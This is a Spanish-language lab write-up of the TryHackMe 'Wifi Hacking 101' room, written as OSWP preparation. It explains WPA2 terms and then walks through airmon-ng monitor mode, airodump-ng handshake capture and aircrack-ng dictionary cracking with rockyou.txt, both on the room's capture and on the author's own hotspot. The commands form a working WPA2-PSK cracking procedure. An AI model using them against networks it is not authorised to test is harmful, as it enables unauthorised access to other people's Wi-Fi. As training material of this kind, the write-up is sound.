Wifi Hacking 101 - TryHackMe

Introduccion a WPA

  • Pues bueno vamos a comenzar con la preparación para la certificación del OSWP vamos a partir desde los mas básico para poder obtener con éxito la certificación para eso vamos a comenzar haciendo este room de TryHackMe wifihackfing101 para ir entendiendo los conceptos básicos

  • SSID: Bueno el SSID nos dicen que es el nombre de la red a la cual nosotros nos estamos conectando tu puedes cambiar el nombre de la red de tu casa o empresa a eso se le llama SSID

  • ESSID: Bueno esto es un SSID pero pero se aplica para múltiples puntos de acceso es para una red mas grande como la oficina de la empresa pero nos dice que para aircrack se refiere ala red que estamos atacando la herramienta aircrack la vamos a utilizar demasiado

  • BSSID: el BSSID es la dirección MAC del Access Point del (hardware)

  • WPA2-PSK: Esta es una red wifi que cuando te conectas la contraseña es la misma para todos la mayoría de compañías usa WPA2

  • WPA2-EAP: Esta es una red wifi para autenticarse te pide un usuario y una contraseña que se envían a un servidor RADIUS esto es muy común en la universidades

  • RADIUS: Es un servidor para autenticar clientes que funciona para mas cosas no solo para wifi

  • PSK: Una autenticación de tipo PSK (Pre-Shared-Key), significa que se está haciendo uso de una clave pre-compartida como su nombre indica, una contraseña única que de estar a disposición de cualquiera puede ser usada para llevar a cabo una asociación contra el AP (Acess Point), esto es importante saberlo ya que hay ataques WPA con autenticacion PSK

El núcleo de la autenticacion WPA(2) 4 way handshake

  • Y bueno nos dice que la mayoría de redes domesticas y muchas otras utilizan WPA (2) personal, ademas nos dicen que si tenemos que iniciar sesión con una contraseña y no es WEP entonces es WPA (2) personal, el WPA2-EAP usa servidores RADIUS como ya sabíamos anteriormente y lo usa para autenticarse si te pide una nombre de usuario y una contraseña lo mas probable es que sea eso.

  • Ademas nos dicen que antes se usaba WEP (Wired Equivalent Privacy) pero se demostró que era muy inseguro y se puede romper capturando suficientes paquetes para adivinar la clave a través de métodos estáticos.

  • The 4 way handshake: permite que el cliente y el (AP) Access Point demuestran que conocen la clave sin decírselo entre si, ademas nos dicen que WPA WPA2 utilizan el mismo método de autenticación por lo que los ataques a ambos son los mismos.

  • Las claves para WPA se derivan tanto del ESSID como de la contraseña de la red, el ESSID como un salt lo que dificulta los ataques de diccionario y nos dicen que eso significa que para una contraseña determinada la clave seguirá variando para cada punto de acceso, esto significa que a menos que calcule previamente el diccionario solo para ese punto de acceso/MAC address tendrás que probar las contraseñas asta que encuentres las correctas.

Modo monitor

Respuestas The basics - An Intro to WPA

Bueno ahora después de aprender las cosas básicas vamos a contestar las preguntas

You’re being watched - Capturing packets to attack

Y bueno nos dicen que utilizando la Suite de aircrack podemos empezar atacar redes wifi y aparte nos están diciendo las herramientas que contiene la suite

Esto es lo que vamos a hacer para eso necesitamos la antena vamos a crear un hotspot desde nuestro celular y vamos a usar una contraseña del rockyou

Bueno vamos a contestar las preguntas

❯ airmon-ng --help

usage: airmon-ng <start|stop|check> <interface> [channel or frequency]

Una vez conectada la (antena) para esto no se necesita pero solo es para mostrar como se hace

Cuando conectemos nuestra antena tenemos que iniciar el modo monitor pero antes de eso tenemos que matar las tareas que interfieran con esto para eso hacemos lo siguiente (casi siempre se hace un kill a los PID que se encargan de darnos conexión a internet pero en este caso no lo haremos eso ya sera en un post mas adelante haciendo varios ataques, ademas es normal que pierdas conectividad a internet ya que estarás en modo monitor)

❯ airmon-ng check kill

Killing these processes:

    PID Name
    684 wpa_supplicant

Si hacemos un iwconfig nos tiene que aparecer el nombre para poder iniciar con airmon-ng

❯ iwconfig
lo        no wireless extensions.

ens33     no wireless extensions.

docker0   no wireless extensions.

br-9deedf958a2c  no wireless extensions.

tun0      no wireless extensions.

wlx9cefd5f91ec0  IEEE 802.11  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry short  long limit:2   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off

Ahora iniciamos pasandole el nombre de la interfaz puede que el tuyo sea diferente

❯ airmon-ng start wlx9cefd5f91ec0


PHY	Interface	Driver		Chipset

phy1	wlx9cefd5f91ec0	rt2800usb	Ralink Technology, Corp. RT5572
Interface wlx9cefd5f91ec0mon is too long for linux so it will be renamed to the old style (wlan#) name.

		(mac80211 monitor mode vif enabled on [phy1]wlan0mon
		(mac80211 station mode vif disabled for [phy1]wlx9cefd5f91ec0)

Ahora si ya nos aparece wlan0mon y vemos que ya esta en modo monitor

❯ iwconfig
lo        no wireless extensions.

ens33     no wireless extensions.

docker0   no wireless extensions.

br-9deedf958a2c  no wireless extensions.

tun0      no wireless extensions.

wlan0mon  IEEE 802.11  Mode:Monitor  Tx-Power=20 dBm   
          Retry short  long limit:2   RTS thr:off   Fragment thr:off
          Power Management:off

Con esto podemos contestar las preguntas, en una de las preguntas nos dicen sobre el BSSID, que es la dirección MAC y sobre el canal para eso solo ejecutamos el siguiente comando

❯ airodump-ng --help

  Airodump-ng 1.6  - (C) 2006-2020 Thomas d'Otreppe
  https://www.aircrack-ng.org

  usage: airodump-ng <options> <interface>[,<interface>,...]

  Options:
      --ivs                 : Save only captured IVs
      --gpsd                : Use GPSd
      --write      <prefix> : Dump file prefix
      -w                    : same as --write 
      --beacons             : Record all beacons in dump file
      --update       <secs> : Display update delay in seconds
      --showack             : Prints ack/cts/rts statistics
      -h                    : Hides known stations for --showack
      -f            <msecs> : Time in ms between hopping channels
      --berlin       <secs> : Time before removing the AP/client
                              from the screen when no more packets
                              are received (Default: 120 seconds)
      -r             <file> : Read packets from that file
      -T                    : While reading packets from a file,
                              simulate the arrival rate of them
                              as if they were "live".
      -x            <msecs> : Active Scanning Simulation
      --manufacturer        : Display manufacturer from IEEE OUI list
      --uptime              : Display AP Uptime from Beacon Timestamp
      --wps                 : Display WPS information (if any)
      --output-format
                  <formats> : Output format. Possible values:
                              pcap, ivs, csv, gps, kismet, netxml, logcsv
      --ignore-negative-one : Removes the message that says
                              fixed channel <interface>: -1
      --write-interval
                  <seconds> : Output file(s) write interval in seconds
      --background <enable> : Override background detection.
      -n              <int> : Minimum AP packets recv'd before
                              for displaying it

  Filter options:
      --encrypt   <suite>   : Filter APs by cipher suite
      --netmask <netmask>   : Filter APs by mask
      --bssid     <bssid>   : Filter APs by BSSID
      --essid     <essid>   : Filter APs by ESSID
      --essid-regex <regex> : Filter APs by ESSID using a regular
                              expression
      -a                    : Filter unassociated clients

  By default, airodump-ng hops on 2.4GHz channels.
  You can make it capture on other/specific channel(s) by using:
      --ht20                : Set channel to HT20 (802.11n)
      --ht40-               : Set channel to HT40- (802.11n)
      --ht40+               : Set channel to HT40+ (802.11n)
      --channel <channels>  : Capture on specific channels
      --band <abg>          : Band on which airodump-ng should hop
      -C    <frequencies>   : Uses these frequencies in MHz to hop
      --cswitch  <method>   : Set channel switching method
                    0       : FIFO (default)
                    1       : Round Robin
                    2       : Hop on last
      -s                    : same as --cswitch

      --help                : Displays this usage screen

Aircrack-ng - Let’s Get Cracking

Ahora pasamos al ultimo Task como nos dicen nos adjuntan una captura a si que vamos a descargarlo

mv /home/miguel7/Descargas/Captures.tar.gz .tar -xvf Captures.tar.gz
NinjaJc01-01.cap
NinjaJc01-01.csv
NinjaJc01-01.kismet.csv
NinjaJc01-01.kismet.netxml
NinjaJc01-01.log.csv

Los que nos interesan son .cap y .csv que contiene información sobre el Access Point

Y bueno nos dan información BSSID: 02:1A:11:FF:D9:BD y el ESSID es ESSID: ‘James Honor 8’

Para contestar las preguntas podemos obtener las respuestas de aqui

❯ aircrack-ng --help

  Aircrack-ng 1.6  - (C) 2006-2020 Thomas d'Otreppe
  https://www.aircrack-ng.org

  usage: aircrack-ng [options] <input file(s)>

  Common options:

      -a <amode> : force attack mode (1/WEP, 2/WPA-PSK)
      -e <essid> : target selection: network identifier
      -b <bssid> : target selection: access point's MAC
      -p <nbcpu> : # of CPU to use  (default: all CPUs)
      -q         : enable quiet mode (no status output)
      -C <macs>  : merge the given APs to a virtual one
      -l <file>  : write key to file. Overwrites file.

  Static WEP cracking options:

      -c         : search alpha-numeric characters only
      -t         : search binary coded decimal chr only
      -h         : search the numeric key for Fritz!BOX
      -d <mask>  : use masking of the key (A1:XX:CF:YY)
      -m <maddr> : MAC address to filter usable packets
      -n <nbits> : WEP key length :  64/128/152/256/512
      -i <index> : WEP key index (1 to 4), default: any
      -f <fudge> : bruteforce fudge factor,  default: 2
      -k <korek> : disable one attack method  (1 to 17)
      -x or -x0  : disable bruteforce for last keybytes
      -x1        : last keybyte bruteforcing  (default)
      -x2        : enable last  2 keybytes bruteforcing
      -X         : disable  bruteforce   multithreading
      -y         : experimental  single bruteforce mode
      -K         : use only old KoreK attacks (pre-PTW)
      -s         : show the key in ASCII while cracking
      -M <num>   : specify maximum number of IVs to use
      -D         : WEP decloak, skips broken keystreams
      -P <num>   : PTW debug:  1: disable Klein, 2: PTW
      -1         : run only 1 try to crack key with PTW
      -V         : run in visual inspection mode

  WEP and WPA-PSK cracking options:

      -w <words> : path to wordlist(s) filename(s)
      -N <file>  : path to new session filename
      -R <file>  : path to existing session filename

  WPA-PSK options:

      -E <file>  : create EWSA Project file v3
      -I <str>   : PMKID string (hashcat -m 16800)
      -j <file>  : create Hashcat v3.6+ file (HCCAPX)
      -J <file>  : create Hashcat file (HCCAP)
      -S         : WPA cracking speed test
      -Z <sec>   : WPA cracking speed test length of
                   execution.
      -r <DB>    : path to airolib-ng database
                   (Cannot be used with -w)

  SIMD selection:

      --simd-list       : Show a list of the available
                          SIMD architectures, for this
                          machine.
      --simd=<option>   : Use specific SIMD architecture.

      <option> may be one of the following, depending on
      your platform:

                   generic
                   avx512
                   avx2
                   avx
                   sse2
                   altivec
                   power8
                   asimd
                   neon

  Other options:

      -u         : Displays # of CPUs & SIMD support
      --help     : Displays this usage screen

En una de las ultimas preguntas nos piden crackear usando el rockyou.txt a si que vamos a hacerlo, primeramente hay vemos el BSSID es el mismo el cual nos están diciendo

cat NinjaJc01-01.csv
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: NinjaJc01-01.csv
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP
       │ , ID-length, ESSID, Key
   3   │ 02:1A:11:FF:D9:BD, 2019-12-26 18:36:48, 2019-12-26 18:37:04, 11,  65, WPA2, CCMP, PSK, -43,      154,      254,   0.  0
       │ .  0.  0,  13, James Honor 8, 
   4   │ 
   5   │ Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs
   6   │ 6C:88:14:02:A8:58, 2019-12-26 18:36:50, 2019-12-26 18:37:03, -34,      176, 02:1A:11:FF:D9:BD,
   7   │ 
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora vamos a crackear

❯ aircrack-ng -b 02:1A:11:FF:D9:BD -w /usr/share/wordlists/rockyou.txt NinjaJc01-01.cap

Y hay tenemos la contraseña

                               Aircrack-ng 1.6 

      [00:00:44] 123974/14344392 keys tested (2786.39 k/s) 

      Time left: 1 hour, 25 minutes, 3 seconds                   0.86%

                        KEY FOUND! [ greeneggsandham ]


      Master Key     : 71 5F 17 D1 D7 9E 70 4D 6E 2E 9C AD 46 F5 45 F5 
                       AF 5E 43 48 16 F9 5B AA 14 8F 39 AA FC 5E EB 3B 

      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

      EAPOL HMAC     : 9A 6A 56 EE E4 4E 42 A3 14 71 26 9F E0 E2 93 04 

Ahora terminamos la sala

Aplicamos lo aprendiendo

Lo primero que vamos a hacer es crearnos un punto de acceso vamos a crear una red desde nuestro celular yo voy a utilizar los siguientes datos

❯ catn info.txt
SSID: SOY_WIFI
PSK: manchester 

La contraseña pertenece al rockyou.txt

head /usr/share/wordlists/rockyou.txt -n 1000 | shuf -n 10 -
password2
hardcore
miamor
manchester
spider
pretty
tintin
anamaria
dreams
101010

Ahora creamos la red wifi en nuestro celular

Ahora como ya habilitamos la red y el modo monitor pues podemos seguir lo primero que vamos a hacer es usar airodump-ng wlan0mon y nos va a mostrar todas las redes que encuentra

❯ airodump-ng wlan0mon

Hay encontramos la nuestra están ordenadas por potencia solo mostrare la red que configure por privacidad ya que las demás redes no son de mi propiedad y no tengo permiso de atacarlas ahora

CH 14 ][ Elapsed: 1 min ][ 2023-08-28 10:14 

 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 CC:05:77:64:3D:8C   -1        0        1    0  10   -1   WPA              <length:  0>                                        
 0A:F4:0E:DA:A2:9C  -38       19        0    0   1  180   WPA2 CCMP   PSK  SOY_WIFI       

Y bueno lo que nos interesa es el BSSID que es 0A:F4:0E:DA:A2:9C y el canal

Ahora vamos a usar airodump-ng para monitorear esa red y esperar a que capture el 4 way handshake que sucede cuando un dispositivo se conecta ala red wifi que creamos

❯ airodump-ng --bssid 0A:F4:0E:DA:A2:9C --channel 1 -w xd wlan0mon

Ahora solo se esta monitoreando esa red

Ahora me voy a conectar con otro dispositivo movil a esa red y nos tendrá que aparecer la información del dispositivo que se acaba de conectar y tenemos el handshake

Ahora solo hacemos un ctrl+c y hay tenemos los archivos

ls
 info.txt   xd-01.cap   xd-01.csv   xd-01.kismet.csv   xd-01.kismet.netxml   xd-01.log.csv

Ahora vamos a hacer el crackeo pasandole la captura

❯ aircrack-ng -w /usr/share/wordlists/rockyou.txt xd-01.cap

Y hay tenemos la contraseña de la red wifi

Ahora quitamos el modo monitor

❯ airmon-ng stop wlan0mon

Para tener conectividad a wifi otra vez solo has los siguiente, el ping a google.com solo es para comprobar que recuperamos la conexion a internet

❯ systemctl restart NetworkManager
❯ systemctl restart wpa_supplicant
❯ ping -c 1 google.com
PING google.com (172.217.4.174) 56(84) bytes of data.
64 bytes from qro04s04-in-f14.1e100.net (172.217.4.174): icmp_seq=1 ttl=128 time=12.2 ms

--- google.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 12.247/12.247/12.247/0.000 ms

Y bueno como tal eso fue todo solo fue de introduccion para comenzar con todo esto del Hacking wifi y prepararnos para el OSWP de Offensive Security hay que empezar con lo básico para poder comprender todo ya que hay muchos mas ataques como el Ataque de Deautenticacion dirigido, Beacon Flood Mode Attack, Ataques a redes sin clientes, para redes WEP hay muchos como el Chop Chop Attack, como dije hay demasiados a si que en los siguientes posts vamos a estar montandonos nuestros propios puntos de acceso para poder practicar todos estos ataques.